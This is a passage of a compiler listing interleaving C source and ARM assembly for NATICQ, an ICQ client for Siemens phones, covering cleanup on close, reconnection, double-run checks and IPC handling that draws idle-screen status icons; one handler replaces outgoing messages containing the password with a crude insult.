420C80E3 ORR R0,R0,#0x4200 \ 000000FC 000100EF SWI +256 5632 /* 5633 InitXStatusesImg(); 5634 //InitSmiles(); Это вызовется из InitXStatusesImg 5635 create_connect(); 5636 silenthide=1; 5637 gipc.name_to=ipc_xtask_name; 5638 gipc.name_from=ipc_my_name; 5639 gipc.data=0; 5640 GBS_SendMessage(MMI_CEPID,MSG_IPC,IPC_XTASK_IDLE,&gipc); 5641 */ 5642 } \ 00000100 F080BDE8 POP {R4-R7,PC} ;; return 5643 \ In segment CODE, align 4, keep-with-next 5644 void maincsm_onclose(CSM_RAM *csm) 5645 { \ maincsm_onclose: \ 00000000 10402DE9 PUSH {R4,LR} 5646 WriteDefSettings(); 5647 FreeWS(wsBuffer); \ 00000004 ........ LDR R4,??DataTable118 ;; S_ICONS \ 00000008 ........ BL WriteDefSettings \ 0000000C 3C0294E5 LDR R0,[R4, #+572] \ 00000010 290100EF SWI +297 5648 // SaveConfigData(successed_config_filename); 5649 5650 /* 5651 #pragma segment="CONFIG_C" 5652 unsigned int ul; 5653 int f; 5654 extern const CFG_HDR cfghdr0; //first var in CONFIG 5655 void *cfg=(void*)&cfghdr0; 5656 unsigned int len=(int)__segment_end("CONFIG_C")-(int)__segment_begin("CONFIG_C"); 5657 5658 if ((f=fopen("4:\\ZBin\\etc\\NATICQ.bcfg",A_ReadWrite+A_Create+A_Truncate,P_READ+P_WRITE,&ul))==-1){ 5659 f=fopen("0:\\ZBin\\etc\\NATICQ.bcfg",A_ReadWrite+A_Create+A_Truncate,P_READ+P_WRITE,&ul); 5660 } 5661 fwrite(f,cfg,len,&ul); 5662 fclose(f,&ul); 5663 */ 5664 5665 // GBS_DelTimer(&tmr_dorecv); 5666 RemoveKeybMsgHook((void *)my_keyhook); \ 00000014 ........ LDR R0,??DataTable112 ;; my_keyhook \ 00000018 2D0100EF SWI +301 5667 GBS_DelTimer(&tmr_active); \ 0000001C 9400A0E3 MOV R0,#+148 \ 00000020 900D80E3 ORR R0,R0,#0x2400 \ 00000024 040080E0 ADD R0,R0,R4 \ 00000028 8C0100EF SWI +396 5668 GBS_DelTimer(&tmr_vibra); \ 0000002C 7400A0E3 MOV R0,#+116 \ 00000030 900D80E3 ORR R0,R0,#0x2400 \ 00000034 040080E0 ADD R0,R0,R4 \ 00000038 8C0100EF SWI +396 5669 GBS_DelTimer(&reconnect_tmr); \ 0000003C 8400A0E3 MOV R0,#+132 \ 00000040 900D80E3 ORR R0,R0,#0x2400 \ 00000044 040080E0 ADD R0,R0,R4 \ 00000048 8C0100EF SWI +396 5670 GBS_DelTimer(&tmr_illumination); \ 0000004C 6400A0E3 MOV R0,#+100 \ 00000050 900D80E3 ORR R0,R0,#0x2400 \ 00000054 040080E0 ADD R0,R0,R4 \ 00000058 8C0100EF SWI +396 5671 GBS_DelTimer(&mytmr); \ 0000005C 5400A0E3 MOV R0,#+84 \ 00000060 880D80E3 ORR R0,R0,#0x2200 \ 00000064 040080E0 ADD R0,R0,R4 \ 00000068 8C0100EF SWI +396 5672 GBS_DelTimer(&mytmr2); \ 0000006C 6400A0E3 MOV R0,#+100 \ 00000070 880D80E3 ORR R0,R0,#0x2200 \ 00000074 040080E0 ADD R0,R0,R4 \ 00000078 8C0100EF SWI +396 5673 GBS_DelTimer(&mytmr3); \ 0000007C BC00A0E3 MOV R0,#+188 \ 00000080 7C0D80E3 ORR R0,R0,#0x1F00 \ 00000084 040080E0 ADD R0,R0,R4 \ 00000088 8C0100EF SWI +396 5674 GBS_DelTimer(&mytmr4); \ 0000008C 7400A0E3 MOV R0,#+116 \ 00000090 880D80E3 ORR R0,R0,#0x2200 \ 00000094 040080E0 ADD R0,R0,R4 \ 00000098 8C0100EF SWI +396 5675 GBS_DelTimer(&statusTmr); \ 0000009C F400A0E3 MOV R0,#+244 \ 000000A0 900D80E3 ORR R0,R0,#0x2400 \ 000000A4 040080E0 ADD R0,R0,R4 \ 000000A8 8C0100EF SWI +396 5676 #ifdef NEWSGOLD 5677 GBS_DelTimer(&tracktmr); \ 000000AC 8400A0E3 MOV R0,#+132 \ 000000B0 880D80E3 ORR R0,R0,#0x2200 \ 000000B4 040080E0 ADD R0,R0,R4 \ 000000B8 8C0100EF SWI +396 5678 #endif 5679 GBS_DelTimer(&scrsTmr); \ 000000BC CC00A0E3 MOV R0,#+204 \ 000000C0 800D80E3 ORR R0,R0,#0x2000 \ 000000C4 040080E0 ADD R0,R0,R4 \ 000000C8 8C0100EF SWI +396 5680 GBS_DelTimer(&incs2); \ 000000CC 5400A0E3 MOV R0,#+84 \ 000000D0 8C0D80E3 ORR R0,R0,#0x2300 \ 000000D4 040080E0 ADD R0,R0,R4 \ 000000D8 8C0100EF SWI +396 5681 GBS_DelTimer(&develop); \ 000000DC 9D0D84E2 ADD R0,R4,#+10048 \ 000000E0 8C0100EF SWI +396 5682 GBS_DelTimer(&away_tmr); \ 000000E4 4400A0E3 MOV R0,#+68 \ 000000E8 880D80E3 ORR R0,R0,#0x2200 \ 000000EC 040080E0 ADD R0,R0,R4 \ 000000F0 8C0100EF SWI +396 5683 SetVibration(0); \ 000000F4 0000A0E3 MOV R0,#+0 \ 000000F8 7C0000EF SWI +124 5684 FreeTemplates(); \ 000000FC ........ BL FreeTemplates 5685 #ifdef kluchnik 5686 FreeBotMessage(); \ 00000100 ........ BL FreeBotMessage 5687 #endif 5688 FreeCLIST(); \ 00000104 ........ _BLF FreeCLIST,??FreeCLIST??rA 5689 free_ICONS(); \ 00000108 ........ BL free_ICONS 5690 // FreeSmiles(); 5691 FreeWS(ews); \ 0000010C 780294E5 LDR R0,[R4, #+632] \ 00000110 290100EF SWI +297 5692 FreeXStatusText(); \ 00000114 ........ _BLF FreeXStatusText,??FreeXStatusText??rA 5693 // MutexDestroy(&contactlist_mtx); 5694 SUBPROC((void *)FreeSmiles); \ 00000118 24009FE5 LDR R0,??maincsm_onclose_0 ;; FreeSmiles \ 0000011C 710100EF SWI +369 5695 SUBPROC((void *)FreeXStatusesImg); \ 00000120 20009FE5 LDR R0,??maincsm_onclose_0+0x4 ;; FreeXStatusesImg \ 00000124 710100EF SWI +369 5696 SUBPROC((void *)end_socket); \ 00000128 ........ LDR R0,??DataTable128 ;; end_socket \ 0000012C 710100EF SWI +369 5697 SUBPROC((void *)ClearSendQ); \ 00000130 ........ LDR R0,??DataTable129 ;; ClearSendQ \ 00000134 710100EF SWI +369 5698 SUBPROC((void *)ElfKiller); \ 00000138 ........ LDR R0,??DataTable136 ;; ElfKiller \ 0000013C 710100EF SWI +369 5699 } \ 00000140 1080BDE8 POP {R4,PC} ;; return \ ??maincsm_onclose_0: \ 00000144 ........ DC32 FreeSmiles \ 00000148 ........ DC32 FreeXStatusesImg 5700 \ In segment CODE, align 4, keep-with-next 5701 void do_reconnect(void) 5702 { 5703 if (is_gprs_online) \ do_reconnect: \ 00000000 ........ LDR R0,??DataTable118 ;; S_ICONS \ 00000004 00402DE9 PUSH {LR} \ 00000008 081390E5 LDR R1,[R0, #+776] \ 0000000C 000051E3 CMP R1,#+0 \ 00000010 0080BD08 POPEQ {PC} 5704 { 5705 DNR_TRIES=3; \ 00000014 0310A0E3 MOV R1,#+3 \ 00000018 A41380E5 STR R1,[R0, #+932] 5706 SUBPROC((void*)create_connect); \ 0000001C ........ LDR R0,??DataTable117 ;; create_connect \ 00000020 710100EF SWI +369 5707 } 5708 } \ 00000024 0080BDE8 POP {PC} ;; return 5709 \ In segment CODE, align 4, keep-with-next 5710 void CheckDoubleRun(void) 5711 { \ CheckDoubleRun: \ 00000000 10402DE9 PUSH {R4,LR} 5712 int csm_id; 5713 if ((csm_id=(int)(gipc.data))!=-1) \ 00000004 ........ LDR R4,??DataTable118 ;; S_ICONS \ 00000008 C40094E5 LDR R0,[R4, #+196] \ 0000000C 010070E3 CMN R0,#+1 \ 00000010 1100000A BEQ ??CheckDoubleRun_0 5714 { 5715 gipc.name_to=ipc_xtask_name; \ 00000014 ........ LDR R1,??DataTable119 ;; `?` 5716 gipc.name_from=ipc_my_name; 5717 gipc.data=(void *)csm_id; \ 00000018 C40084E5 STR R0,[R4, #+196] \ 0000001C FA2F81E2 ADD R2,R1,#+1000 \ 00000020 BC2084E5 STR R2,[R4, #+188] \ 00000024 F21F81E2 ADD R1,R1,#+968 \ 00000028 C01084E5 STR R1,[R4, #+192] 5718 GBS_SendMessage(MMI_CEPID,MSG_IPC,IPC_XTASK_SHOW_CSM,&gipc); \ 0000002C BC3084E2 ADD R3,R4,#+188 \ 00000030 0220A0E3 MOV R2,#+2 \ 00000034 B010A0E3 MOV R1,#+176 \ 00000038 DE1C81E3 ORR R1,R1,#0xDE00 \ 0000003C 0900A0E3 MOV R0,#+9 \ 00000040 420C80E3 ORR R0,R0,#0x4200 \ 00000044 000100EF SWI +256 5719 LockSched(); \ 00000048 460100EF SWI +326 5720 CloseCSM(maincsm_id); \ 0000004C 640294E5 LDR R0,[R4, #+612] \ 00000050 FC0100EF SWI +508 5721 //ShowMSG(1,(int)LG_ALREADY_STARTED); 5722 UnlockSched(); \ 00000054 470100EF SWI +327 \ 00000058 1080BDE8 POP {R4,PC} 5723 } 5724 else 5725 { 5726 InitXStatusesImg(); \ ??CheckDoubleRun_0: \ 0000005C ........ _BLF InitXStatusesImg,??InitXStatusesImg??rA 5727 //InitSmiles(); Это вызовется из InitXStatusesImg 5728 create_connect(); \ 00000060 ........ BL create_connect 5729 } 5730 } \ 00000064 1080BDE8 POP {R4,PC} ;; return 5731 5732 5733 5734 //------------------------------------------------------------// 5735 5736 5737 #define idlegui_id(icsm) (((int *)icsm)[DISPLACE_OF_IDLEGUI_ID/4]) \ In segment CODE, align 4, keep-with-next 5738 int checkGui(int id) 5739 { \ checkGui: \ 00000000 10402DE9 PUSH {R4,LR} 5740 int retval = 0; \ 00000004 0040A0E3 MOV R4,#+0 5741 if (IsGuiOnTop(id)) \ 00000008 350100EF SWI +309 \ 0000000C 000050E3 CMP R0,#+0 \ 00000010 0600000A BEQ ??checkGui_0 5742 { 5743 GUI* igui = GetTopGUI(); 5744 if (igui) \ 00000014 4D0100EF SWI +333 \ 00000018 000050E3 CMP R0,#+0 \ 0000001C 0300000A BEQ ??checkGui_0 5745 { 5746 #ifdef ELKA 5747 canvasdata = BuildCanvas(); \ 00000020 F18000EF SWI +33009 \ 00000024 0C109FE5 LDR R1,??checkGui_1 ;; S_ICONS + 564 5748 retval = 1; \ 00000028 0140A0E3 MOV R4,#+1 \ 0000002C 000081E5 STR R0,[R1, #+0] 5749 #else 5750 void *idata = GetDataOfItemByID(igui, 2); 5751 if (idata) 5752 { 5753 canvasdata = ((void **)idata)[DISPLACE_OF_IDLECANVAS / 4]; 5754 retval = 1; 5755 } 5756 #endif 5757 } 5758 } 5759 return retval; \ ??checkGui_0: \ 00000030 0400A0E1 MOV R0,R4 \ 00000034 1080BDE8 POP {R4,PC} ;; return \ ??checkGui_1: \ 00000038 ........ DC32 S_ICONS + 564 5760 } 5761 5762 5763 //-------------------------------------------------------------// 5764 #define IPC_GAME 7 5765 5766 typedef struct{ 5767 unsigned long uin; 5768 char *msg; 5769 }IPCmsg; 5770 \ In segment CODE, align 4, keep-with-next 5771 int maincsm_onmessage(CSM_RAM *data,GBS_MSG *msg) 5772 { \ maincsm_onmessage: \ 00000000 F14F2DE9 PUSH {R0,R4-R11,LR} \ 00000004 10D04DE2 SUB SP,SP,#+16 \ 00000008 ........ LDR R5,??DataTable120 ;; S_ICONS \ 0000000C ........ LDR R7,??DataTable135 ;; `?` \ 00000010 0140A0E1 MOV R4,R1 \ 00000014 040094E5 LDR R0,[R4, #+4] \ 00000018 0060A0E3 MOV R6,#+0 \ 0000001C B090A0E3 MOV R9,#+176 \ 00000020 DE9C89E3 ORR R9,R9,#0xDE00 \ 00000024 090050E1 CMP R0,R9 \ 00000028 8300001A BNE ??maincsm_onmessage_2 5773 5774 // char ss[100]; 5775 MAIN_CSM *csm=(MAIN_CSM*)data; 5776 { 5777 //IPC 5778 if (msg->msg==MSG_IPC) 5779 { 5780 IPC_REQ *ipc; 5781 if ((ipc=(IPC_REQ*)msg->data0)) \ 0000002C 0C8094E5 LDR R8,[R4, #+12] \ 00000030 000058E3 CMP R8,#+0 \ 00000034 8000000A BEQ ??maincsm_onmessage_2 5782 { 5783 if (strcmp_nocase(ipc->name_to,ipc_my_name)==0) \ 00000038 000098E5 LDR R0,[R8, #+0] \ 0000003C F2AFA0E3 MOV R10,#+968 \ 00000040 07108AE0 ADD R1,R10,R7 \ 00000044 ........ _BLF strcmp_nocase,??strcmp_nocase??rA \ 00000048 000050E3 CMP R0,#+0 \ 0000004C 7A00001A BNE ??maincsm_onmessage_2 5784 { 5785 switch (msg->submess) \ 00000050 081094E5 LDR R1,[R4, #+8] \ 00000054 040098E5 LDR R0,[R8, #+4] \ 00000058 011041E2 SUB R1,R1,#+1 \ 0000005C 040051E3 CMP R1,#+4 \ 00000060 7500008A BHI ??maincsm_onmessage_2 \ 00000064 012F8FE2 ADR R2,??maincsm_onmessage_0 \ 00000068 0120D2E7 LDRB R2,[R2, R1] \ 0000006C 02F18FE0 ADD PC,PC,R2, LSL #+2 \ ??maincsm_onmessage_0: \ 00000070 010A1116 DC8 +1,+10,+17,+22 \ 00000074 4F000000 DC8 +79,+0,+0,+0 5786 { 5787 case IPC_CHECK_DOUBLERUN: 5788 //Если приняли свое собственное сообщение, значит запускаем чекер 5789 if (ipc->name_from==ipc_my_name) SUBPROC((void *)CheckDoubleRun); \ ??maincsm_onmessage_3: \ 00000078 07108AE0 ADD R1,R10,R7 \ 0000007C 010050E1 CMP R0,R1 \ 00000080 0200001A BNE ??maincsm_onmessage_4 \ 00000084 2C0A9FE5 LDR R0,??maincsm_onmessage_5 ;; CheckDoubleRun \ 00000088 710100EF SWI +369 \ 0000008C 6A0000EA B ??maincsm_onmessage_2 5790 else ipc->data=(void *)maincsm_id; \ ??maincsm_onmessage_4: \ 00000090 640295E5 LDR R0,[R5, #+612] \ 00000094 080088E5 STR R0,[R8, #+8] \ 00000098 670000EA B ??maincsm_onmessage_2 5791 break; 5792 case IPC_SMILE_PROCESSED: 5793 //Только собственные смайлы ;) 5794 if (ipc->name_from==ipc_my_name) SUBPROC((void *)ProcessNextSmile); \ ??maincsm_onmessage_6: \ 0000009C 07108AE0 ADD R1,R10,R7 \ 000000A0 010050E1 CMP R0,R1 \ 000000A4 0100001A BNE ??maincsm_onmessage_7 \ 000000A8 0C0A9FE5 LDR R0,??maincsm_onmessage_5+0x4 ;; ProcessNextSmile \ ??maincsm_onmessage_8: \ 000000AC 710100EF SWI +369 5795 SMART_REDRAW(); \ ??maincsm_onmessage_7: \ 000000B0 ........ BL SMART_REDRAW \ 000000B4 600000EA B ??maincsm_onmessage_2 5796 break; 5797 case IPC_XSTATUSIMG_PROCESSED: 5798 //Только собственные иксстатусы ;) 5799 if (ipc->name_from==ipc_my_name) SUBPROC((void *)ProcessNextXStatImg); \ ??maincsm_onmessage_9: \ 000000B8 07108AE0 ADD R1,R10,R7 \ 000000BC 010050E1 CMP R0,R1 \ 000000C0 FAFFFF1A BNE ??maincsm_onmessage_7 \ 000000C4 F4099FE5 LDR R0,??maincsm_onmessage_5+0x8 ;; ProcessNextXStatImg \ 000000C8 F7FFFFEA B ??maincsm_onmessage_8 5800 SMART_REDRAW(); 5801 break; 5802 case IPC_GAME: 5803 { 5804 5805 } 5806 break; 5807 case IPC_TENSECONDS: 5808 //Только свое сообщение 5809 if (ipc->name_from==ipc_my_name) \ ??maincsm_onmessage_10: \ 000000CC 07108AE0 ADD R1,R10,R7 \ 000000D0 010050E1 CMP R0,R1 \ 000000D4 5800001A BNE ??maincsm_onmessage_2 5810 { 5811 CLIST *t=(CLIST *)cltop; \ 000000D8 108395E5 LDR R8,[R5, #+784] 5812 int f=0; \ 000000DC 00A0A0E3 MOV R10,#+0 \ 000000E0 000058E3 CMP R8,#+0 \ 000000E4 2500000A BEQ ??maincsm_onmessage_11 5813 while(t) 5814 { 5815 if(t->just_now) \ ??maincsm_onmessage_12: \ 000000E8 6C0098E5 LDR R0,[R8, #+108] \ 000000EC 000050E3 CMP R0,#+0 \ 000000F0 0200000A BEQ ??maincsm_onmessage_13 5816 { 5817 if (!(--(t->just_now))) f=1; \ 000000F4 010050E2 SUBS R0,R0,#+1 \ 000000F8 6C0088E5 STR R0,[R8, #+108] \ 000000FC 01A0A003 MOVEQ R10,#+1 5818 } 5819 if (t->isactive) \ ??maincsm_onmessage_13: \ 00000100 980098E5 LDR R0,[R8, #+152] \ 00000104 000050E3 CMP R0,#+0 \ 00000108 0C00000A BEQ ??maincsm_onmessage_14 5820 { 5821 if (!(--(t->isactive))) \ 0000010C 010050E2 SUBS R0,R0,#+1 \ 00000110 980088E5 STR R0,[R8, #+152] \ 00000114 0900001A BNE ??maincsm_onmessage_14 5822 { 5823 f=1; //Если дошли до 0 хотя бы один раз - надо перерисовать меню 5824 if ((t->log)&&(!t->isunread)) \ 00000118 8C0098E5 LDR R0,[R8, #+140] \ 0000011C 01A0A0E3 MOV R10,#+1 \ 00000120 000050E3 CMP R0,#+0 \ 00000124 0500000A BEQ ??maincsm_onmessage_14 \ 00000128 7C0098E5 LDR R0,[R8, #+124] \ 0000012C 000050E3 CMP R0,#+0 \ 00000130 0200001A BNE ??maincsm_onmessage_14 5825 { 5826 FreeLOGQ(&t->log); \ 00000134 8C0088E2 ADD R0,R8,#+140 \ 00000138 ........ BL FreeLOGQ 5827 t->msg_count=0; \ 0000013C 9C6088E5 STR R6,[R8, #+156] 5828 } 5829 } 5830 } 5831 t=(CLIST *)(t->next); \ ??maincsm_onmessage_14: \ 00000140 008098E5 LDR R8,[R8, #+0] 5832 } \ 00000144 000058E3 CMP R8,#+0 \ 00000148 E6FFFF1A BNE ??maincsm_onmessage_12 5833 if (f) \ 0000014C 00005AE3 CMP R10,#+0 \ 00000150 0A00000A BEQ ??maincsm_onmessage_11 5834 { 5835 CLIST *oldt=NULL; 5836 if (contactlist_menu_id) \ 00000154 181395E5 LDR R1,[R5, #+792] \ 00000158 0000A0E3 MOV R0,#+0 \ 0000015C 000051E3 CMP R1,#+0 \ 00000160 0400000A BEQ ??maincsm_onmessage_15 5837 { 5838 oldt=FindContactByN(GetCurMenuItem(FindGUIbyId(contactlist_menu_id,NULL))); \ 00000164 180395E5 LDR R0,[R5, #+792] \ 00000168 0010A0E3 MOV R1,#+0 \ 0000016C 090200EF SWI +521 \ 00000170 8F0100EF SWI +399 \ 00000174 ........ _BLF FindContactByN,??FindContactByN??rA 5839 } 5840 RecountMenu(oldt,1); \ ??maincsm_onmessage_15: \ 00000178 0110A0E3 MOV R1,#+1 \ 0000017C ........ BL RecountMenu 5841 } 5842 if (time_to_stop_t9) \ ??maincsm_onmessage_11: \ 00000180 B40395E5 LDR R0,[R5, #+948] \ 00000184 000050E3 CMP R0,#+0 \ 00000188 2B00000A BEQ ??maincsm_onmessage_2 5843 { 5844 if (!(--time_to_stop_t9)) \ 0000018C 010050E2 SUBS R0,R0,#+1 \ 00000190 B40385E5 STR R0,[R5, #+948] \ 00000194 2800001A BNE ??maincsm_onmessage_2 5845 { 5846 if (IsGuiOnTop(edchat_id)) RefreshGUI(); \ 00000198 1C0395E5 LDR R0,[R5, #+796] \ 0000019C 350100EF SWI +309 \ 000001A0 000050E3 CMP R0,#+0 \ 000001A4 2400000A BEQ ??maincsm_onmessage_2 \ 000001A8 960100EF SWI +406 \ 000001AC 220000EA B ??maincsm_onmessage_2 5847 } 5848 } 5849 } 5850 break; 5851 case IPC_SENDMSG: ; //IPC_SENDMSG by BoBa 26.06.07 5852 int l=strlen(((IPCMsg *)(ipc->data))->msg); \ ??maincsm_onmessage_16: \ 000001B0 080098E5 LDR R0,[R8, #+8] \ 000001B4 040090E5 LDR R0,[R0, #+4] \ 000001B8 1B0000EF SWI +27 \ 000001BC 00A0A0E1 MOV R10,R0 5853 TPKT *msg=malloc(sizeof(PKT)+l+30); \ 000001C0 26008AE2 ADD R0,R10,#+38 \ 000001C4 140000EF SWI +20 \ 000001C8 00B0A0E1 MOV R11,R0 5854 msg->pkt.uin=((IPCMsg *)(ipc->data))->uin; \ 000001CC 080098E5 LDR R0,[R8, #+8] 5855 msg->pkt.type=T_SENDMSG; 5856 msg->pkt.data_len=l; 5857 memcpy(msg->data,((IPCMsg *)(ipc->data))->msg,l); \ 000001D0 0A20A0E1 MOV R2,R10 \ 000001D4 000090E5 LDR R0,[R0, #+0] \ 000001D8 00008BE5 STR R0,[R11, #+0] \ 000001DC 0200A0E3 MOV R0,#+2 \ 000001E0 B400CBE1 STRH R0,[R11, #+4] \ 000001E4 B6A0CBE1 STRH R10,[R11, #+6] \ 000001E8 080098E5 LDR R0,[R8, #+8] \ 000001EC 041090E5 LDR R1,[R0, #+4] \ 000001F0 08008BE2 ADD R0,R11,#+8 \ 000001F4 1E0100EF SWI +286 5858 //slientsend=1; 5859 if(strstr(msg->data,PASS)==0) \ 000001F8 AA1E85E2 ADD R1,R5,#+2720 \ 000001FC 08008BE2 ADD R0,R11,#+8 \ 00000200 180100EF SWI +280 \ 00000204 000050E3 CMP R0,#+0 \ 00000208 0400000A BEQ ??maincsm_onmessage_17 5860 { 5861 SENDMSGCOUNT++; //Номер сообщения 5862 SUBPROC((void *)SendAnswer,0,msg); 5863 } 5864 else 5865 { 5866 msg->pkt.data_len=40; \ 0000020C 2800A0E3 MOV R0,#+40 \ 00000210 B600CBE1 STRH R0,[R11, #+6] 5867 strcpy(msg->data, "Fuck you hacker! my password sux ur ass"); \ 00000214 701087E2 ADD R1,R7,#+112 \ 00000218 08008BE2 ADD R0,R11,#+8 \ 0000021C 1A0000EF SWI +26 5868 SENDMSGCOUNT++; //Номер сообщения \ ??maincsm_onmessage_17: \ 00000220 6C0295E5 LDR R0,[R5, #+620] 5869 SUBPROC((void *)SendAnswer,0,msg); \ 00000224 0B20A0E1 MOV R2,R11 \ 00000228 010080E2 ADD R0,R0,#+1 \ 0000022C 6C0285E5 STR R0,[R5, #+620] \ 00000230 ........ LDR R0,??DataTable127 ;; SendAnswer \ 00000234 0010A0E3 MOV R1,#+0 \ 00000238 710100EF SWI +369 5870 } 5871 break; 5872 } 5873 } 5874 } 5875 } 5876 //Нарисуем иконочку моего статуса 5877 //#define idlegui_id (((int *)icsm)[DISPLACE_OF_IDLEGUI_ID/4]) 5878 //CSM_RAM *icsm=FindCSMbyID(CSM_root()->idle_id); 5879 // if (IsGuiOnTop(idlegui_id)/*&&IsUnlocked()*/) //Если IdleGui на самом верху 5880 // { 5881 void *icsm; 5882 icsm=FindCSMbyID(CSM_root()->idle_id); \ ??maincsm_onmessage_2: \ 0000023C 068100EF SWI +33030 \ 00000240 040090E5 LDR R0,[R0, #+4] 5883 if (icsm && checkGui(idlegui_id(icsm))) \ 00000244 0180A0E3 MOV R8,#+1 \ 00000248 080100EF SWI +264 \ 0000024C 000050E3 CMP R0,#+0 \ 00000250 0B00000A BEQ ??maincsm_onmessage_18 \ 00000254 2C0090E5 LDR R0,[R0, #+44] \ 00000258 ........ BL checkGui \ 0000025C 000050E3 CMP R0,#+0 \ 00000260 0700000A BEQ ??maincsm_onmessage_18 5884 { 5885 // GUI *igui=GetTopGUI(); 5886 // if (igui) //И он существует 5887 //{ 5888 //#ifdef ELKA 5889 INC_show=0; \ 00000264 BC6385E5 STR R6,[R5, #+956] 5890 //#endif 5891 canvasdata=BuildCanvas(); //void * - belyj fon! \ 00000268 F18000EF SWI +33009 \ 0000026C 340285E5 STR R0,[R5, #+564] 5892 //Тут трохи поменял 5893 // by Rainmaker: Рисуем канву только для иконки и выводим в своих координатах 5894 #ifdef ELKA 5895 if (total_unread) \ 00000270 0C0395E5 LDR R0,[R5, #+780] \ 00000274 000050E3 CMP R0,#+0 \ 00000278 0200000A BEQ ??maincsm_onmessage_19 5896 SLI_On(); \ 0000027C ........ BL SLI_On \ 00000280 000000EA B ??maincsm_onmessage_19 5897 #endif 5898 } 5899 //} 5900 else 5901 { 5902 main_d=1; \ ??maincsm_onmessage_18: \ 00000284 2C8285E5 STR R8,[R5, #+556] 5903 } 5904 } 5905 5906 //---------------------------------------------------// 5907 5908 if(msg->msg == MSG_IPC) //kluchnik 26.03.08 \ ??maincsm_onmessage_19: \ 00000288 040094E5 LDR R0,[R4, #+4] \ 0000028C 090050E1 CMP R0,R9 \ 00000290 0301001A BNE ??maincsm_onmessage_20 5909 { 5910 IPC_REQ *ipc; 5911 void *icsm; 5912 if ((ipc=(IPC_REQ*)msg->data0)) \ 00000294 0C0094E5 LDR R0,[R4, #+12] \ 00000298 000050E3 CMP R0,#+0 \ 0000029C 6701000A BEQ ??maincsm_onmessage_21 5913 { 5914 if (strcmp_nocase(ipc->name_to,"IdleUpd")==0) \ 000002A0 000090E5 LDR R0,[R0, #+0] \ 000002A4 D01087E2 ADD R1,R7,#+208 \ 000002A8 ........ _BLF strcmp_nocase,??strcmp_nocase??rA \ 000002AC 000050E3 CMP R0,#+0 5915 { 5916 switch (msg->submess) \ 000002B0 08009405 LDREQ R0,[R4, #+8] \ 000002B4 00005003 CMPEQ R0,#+0 \ 000002B8 F900001A BNE ??maincsm_onmessage_20 5917 { 5918 case 0: 5919 { 5920 icsm=FindCSMbyID(CSM_root()->idle_id); \ 000002BC 068100EF SWI +33030 \ 000002C0 040090E5 LDR R0,[R0, #+4] \ 000002C4 080100EF SWI +264 5921 if (icsm && checkGui(idlegui_id(icsm))) \ 000002C8 000050E3 CMP R0,#+0 \ 000002CC F400000A BEQ ??maincsm_onmessage_20 \ 000002D0 2C0090E5 LDR R0,[R0, #+44] \ 000002D4 ........ BL checkGui \ 000002D8 000050E3 CMP R0,#+0 \ 000002DC F000000A BEQ ??maincsm_onmessage_20 5922 { 5923 int icn; 5924 if(total_unread) \ 000002E0 0C0395E5 LDR R0,[R5, #+780] \ 000002E4 000050E3 CMP R0,#+0 5925 icn=IS_MSG; \ 000002E8 0D00A013 MOVNE R0,#+13 \ 000002EC 0500001A BNE ??maincsm_onmessage_22 5926 else 5927 { 5928 switch(connect_state) \ 000002F0 E80295E5 LDR R0,[R5, #+744] \ 000002F4 000050E3 CMP R0,#+0 \ 000002F8 0200000A BEQ ??maincsm_onmessage_22 \ 000002FC 030050E2 SUBS R0,R0,#+3 5929 { 5930 case 0: 5931 icn=IS_OFFLINE; break; 5932 case 3: 5933 icn=CurrentStatus; //IS_ONLINE; \ 00000300 C8029505 LDREQ R0,[R5, #+712] 5934 break; 5935 default: 5936 icn=IS_UNKNOWN; break; \ 00000304 0E00A013 MOVNE R0,#+14 5937 } 5938 } 5939 5940 5941 #ifdef ELKA 5942 if(ShowStatusIcon==0 || ShowStatusIcon==2 || ShowStatusIcon==3) //kluchnik 26.03.08 \ ??maincsm_onmessage_22: \ 00000308 F01095E5 LDR R1,[R5, #+240] \ 0000030C 000051E3 CMP R1,#+0 \ 00000310 02005113 CMPNE R1,#+2 \ 00000314 03005113 CMPNE R1,#+3 \ 00000318 1500001A BNE ??maincsm_onmessage_23 5943 { 5944 #endif 5945 DrawCanvas(canvasdata,IDLEICON_X,IDLEICON_Y,IDLEICON_X+GetImgWidth((int)S_ICONS[icn])-1, 5946 IDLEICON_Y+GetImgHeight((int)S_ICONS[icn])-1,1); \ 0000031C 009185E0 ADD R9,R5,R0, LSL #+2 \ 00000320 000099E5 LDR R0,[R9, #+0] \ 00000324 210000EF SWI +33 \ 00000328 00A0A0E1 MOV R10,R0 \ 0000032C 000099E5 LDR R0,[R9, #+0] \ 00000330 220000EF SWI +34 \ 00000334 A01195E5 LDR R1,[R5, #+416] \ 00000338 A42195E5 LDR R2,[R5, #+420] \ 0000033C 0130A0E3 MOV R3,#+1 \ 00000340 08002DE9 PUSH {R3} \ 00000344 010080E0 ADD R0,R0,R1 \ 00000348 02308AE0 ADD R3,R10,R2 \ 0000034C 013043E2 SUB R3,R3,#+1 \ 00000350 08002DE9 PUSH {R3} \ 00000354 013040E2 SUB R3,R0,#+1 \ 00000358 340295E5 LDR R0,[R5, #+564] \ 0000035C 250000EF SWI +37 5947 DrawImg(IDLEICON_X,IDLEICON_Y,S_ICONS[icn]); \ 00000360 002099E5 LDR R2,[R9, #+0] \ 00000364 A41195E5 LDR R1,[R5, #+420] \ 00000368 A00195E5 LDR R0,[R5, #+416] \ 0000036C 230000EF SWI +35 \ 00000370 08D08DE2 ADD SP,SP,#+8 5948 #ifdef ELKA 5949 } 5950 if(show_xstatus==1 || show_xstatus==3) //kluchnik 26.03.08 \ ??maincsm_onmessage_23: \ 00000374 EC0095E5 LDR R0,[R5, #+236] \ 00000378 010050E3 CMP R0,#+1 \ 0000037C 03005013 CMPNE R0,#+3 \ 00000380 2100001A BNE ??maincsm_onmessage_24 5951 #else 5952 if(show_xstatus==1) //kluchnik 26.03.08 5953 #endif 5954 { 5955 PNGTOP_DESC *pltop=PNG_TOP(); 5956 pltop->dyn_pltop=XStatusesImgList; 5957 DisableIDLETMR(); 5958 DrawCanvas(canvasdata,IDLEICON_XX,IDLEICON_YX,IDLEICON_XX+GetImgWidth((int)XStatusesIconArray[CurrentXStatus])-1, 5959 IDLEICON_YX+GetImgHeight((int)XStatusesIconArray[CurrentXStatus])-1,1); \ 00000384 ........ LDR R9,??DataTable131 ;; CurrentXStatus \ 00000388 34A79FE5 LDR R10,??maincsm_onmessage_5+0xC ;; XStatusesIconArray \ 0000038C B98100EF SWI +33209 \ 00000390 ........ LDR R1,??DataTable124 ;; XStatusesImgList \ 00000394 001091E5 LDR R1,[R1, #+0] \ 00000398 081080E5 STR R1,[R0, #+8] \ 0000039C 7F0100EF SWI +383 \ 000003A0 000099E5 LDR R0,[R9, #+0] \ 000003A4 